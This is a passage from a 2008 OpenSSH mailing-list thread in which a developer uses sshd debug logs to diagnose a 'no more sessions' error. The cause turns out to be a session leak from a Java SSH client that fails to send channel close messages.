May 29 14:43:10 DEBUG sshd[534]: debug1: session_exit_message: release > channel 98 > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: write failed > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: close_write > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: output open -> closed > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: read 0 from efd 107 > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: closing read-efd 107 > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: ibuf empty > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: send eof > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: input drain -> closed > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: send close Here steps 1-6 happened, but the remote end never replied with a channel close. This means the server cannot continue to detach the session from the channel and deallocate the channel. Increasing MAX_SESSIONS will only forestall the inevitable: your client is not closing channels properly, which causes a session leak on the server. -d From praseed.gopal at gmail.com Sat May 31 07:14:01 2008 From: praseed.gopal at gmail.com (Praseed V Gopal) Date: Fri, 30 May 2008 14:14:01 -0700 Subject: "ERR sshd: error: no more sessions" issue In-Reply-To: References: Message-ID: Hi Damien, Thanks for your reply. One more question. Doesn't the channel ever time-out after sending the close? Or is it always required the channel to receive close from remote? BTW, I discussed with the Java person, he is using Ganymed-SSH2 Java library (now bounty castle). Is there any known interoperability issues here? Thanks & Regards Praseed On Fri, May 30, 2008 at 12:39 PM, Damien Miller wrote: > On Fri, 30 May 2008, Praseed V Gopal wrote: > > > Initially send this mail to user group. then realized this is more apt > > place. Apologies for posting in both groups... > > > > Hi all, > > We're using openssh version 4.7p on our linux 2.6-22 kernel. > > We have a Java based GUI that opens a secure shell connection to this > linux box. > > To do something over the connection, the GUI opens a session (some > > times 3-4 simultaneous sessions) & once done, it will close the > > connection gracefully (I believe). > > The problem is after a few sessions (10) are open & closed, we see > > "May 29 14:43:11 ERR sshd[534]: error: no more sessions" error. > > So I checked the source code of openssh & changed the value of > > MAX_SESSIONS from 10 to 100.in session.c @ line number 132. > > > > Things got improved, but now after number of sessions crosses 100, the > > same error pops up. > > I enabled the debug mode. Debug messages are at the end of this mail. > > > > 1) Please tell me, whether the sessions are getting closed properly? > > 2) If yes, why it is not decrementing the used sessions & reusing the > > already closed sessions? > > 3) is this supposed to work this way? > > 4) How do I fix it or work around this? > > It looks like the problem lies with your Java client. Compare the sequence > of a successful session closure: > > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: read<=0 rfd 105 len > 0 > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: read failed > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: close_read > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: input open -> drain > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: ibuf_empty > > delayed efd 107/(0) > > May 29 14:43:10 DEBUG sshd[534]: debug2: notify_done: reading > > May 29 14:43:10 DEBUG sshd[534]: debug1: Received SIGCHLD. > > May 29 14:43:10 DEBUG sshd[534]: debug1: session_by_pid: pid 2518 > > May 29 14:43:10 DEBUG sshd[534]: debug1: session_exit_message: session > > 98 channel 98 pid 2518 > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: request > > exit-status confirm 0 > > May 29 14:43:10 DEBUG sshd[534]: debug1: session_exit_message: release > > channel 98 > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: write failed > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: close_write > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: output open -> > closed > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: read 0 from efd 107 > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: closing read-efd 107 > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: ibuf empty > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: send eof > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: input drain -> > closed > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: send close > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: rcvd close > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: is dead > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: gc: notify user > > May 29 14:43:10 DEBUG sshd[534]: debug1: session_by_channel: session > > 98 channel 98 > > May 29 14:43:10 DEBUG sshd[534]: debug1: session_close_by_channel: > > channel 98 child 0 > > May 29 14:43:10 DEBUG sshd[534]: debug1: session_close: session 98 pid 0 > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: gc: user detached > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: is dead > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: garbage collecting > > May 29 14:43:10 DEBUG sshd[534]: debug1: channel 98: free: > > server-session, nchannels 99 > > Broadly speaking, a "channel" is the SSH protocol's abstraction for a > bidirectional pipe, and a "session" handles command/shell/subsystem > execution. A session uses a channel for communication. > > The sequence here is: > > 1. channel read failed > 2. child process exited > 3. simulate a channel write failure (the child process is gone by now) > 4. send channel eof > 5. wait for input to drain (in this case it already has) > 6. send channel close > 7. *remote* sends a channel close > 8. session is detached from channel > 9. channel is freed > > Here is one that failed to clean up properly. > > > May 29 14:43:10 DEBUG sshd[534]: debug2: fd 107 setting O_NONBLOCK > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: read<=0 rfd 105 len > 0 > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: read failed > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: close_read > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: input open -> drain > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: ibuf_empty > > delayed efd 107/(0) > > May 29 14:43:10 DEBUG sshd[534]: debug2: notify_done: reading > > May 29 14:43:10 DEBUG sshd[534]: debug1: Received SIGCHLD. > > May 29 14:43:10 DEBUG sshd[534]: debug1: session_by_pid: pid 2519 > > May 29 14:43:10 DEBUG sshd[534]: debug1: session_exit_message: session > > 98 channel 98 pid 2519 > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: request > > exit-status confirm 0 > > May 29 14:43:10 DEBUG sshd[534]: debug1: session_exit_message: release > > channel 98 > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: write failed > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: close_write > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: output open -> > closed > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: read 0 from efd 107 > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: closing read-efd 107 > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: ibuf empty > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: send eof > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: input drain -> > closed > > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: send close > > Here steps 1-6 happened, but the remote end never replied with a channel > close. This means the server cannot continue to detach the session from > the channel and deallocate the channel. > > Increasing MAX_SESSIONS will only forestall the inevitable: your client > is not closing channels properly, which causes a session leak on the > server. > > -d > From djm at mindrot.org Sat May 31 07:46:20 2008 From: djm at mindrot.org (Damien Miller) Date: Sat, 31 May 2008 07:46:20 +1000 (EST) Subject: "ERR sshd: error: no more sessions" issue In-Reply-To: References: Message-ID: On Fri, 30 May 2008, Praseed V Gopal wrote: > Hi Damien, > Thanks for your reply. > One more question. > Doesn't the channel ever time-out after sending the close? > Or is it always required the channel to receive close from remote? Yes, the protocol says it must stay open until the other end closes it. Do note that your client is using session multiplexing. You might be able to work around this leak by making your client use one session per SSH connection (or some fixed maximum, e.g. 10). > BTW, I discussed with the Java person, he is using Ganymed-SSH2 Java library > (now bounty castle). > Is there any known interoperability issues here? I'm not aware of any, but then again I wasn't aware that bouncycastle even had an SSH implementation... -d From praseed.gopal at gmail.com Sat May 31 08:12:35 2008 From: praseed.gopal at gmail.com (Praseed V Gopal) Date: Fri, 30 May 2008 15:12:35 -0700 Subject: "ERR sshd: error: no more sessions" issue In-Reply-To: References: Message-ID: Hi Damein, Thanks a lot!! We've fixed the issue. The sessions were not closed properly in certain exception conditions from Java code. However it was with your help we fixed it. BTW, I thing I'm wrong about bouncy castle.. :-) Wishes Praseed On Fri, May 30, 2008 at 2:46 PM, Damien Miller wrote: > On Fri, 30 May 2008, Praseed V Gopal wrote: > > > Hi Damien, > > Thanks for your reply. > > One more question. > > Doesn't the channel ever time-out after sending the close? > > Or is it always required the channel to receive close from remote? > > Yes, the protocol says it must stay open until the other end closes it. > > Do note that your client is using session multiplexing. You might be able > to work around this leak by making your client use one session per > SSH connection (or some fixed maximum, e.g. 10). > > > BTW, I discussed with the Java person, he is using Ganymed-SSH2 Java > library > > (now bounty castle). > > Is there any known interoperability issues here? > > I'm not aware of any, but then again I wasn't aware that bouncycastle > even had an SSH implementation... > > -d > >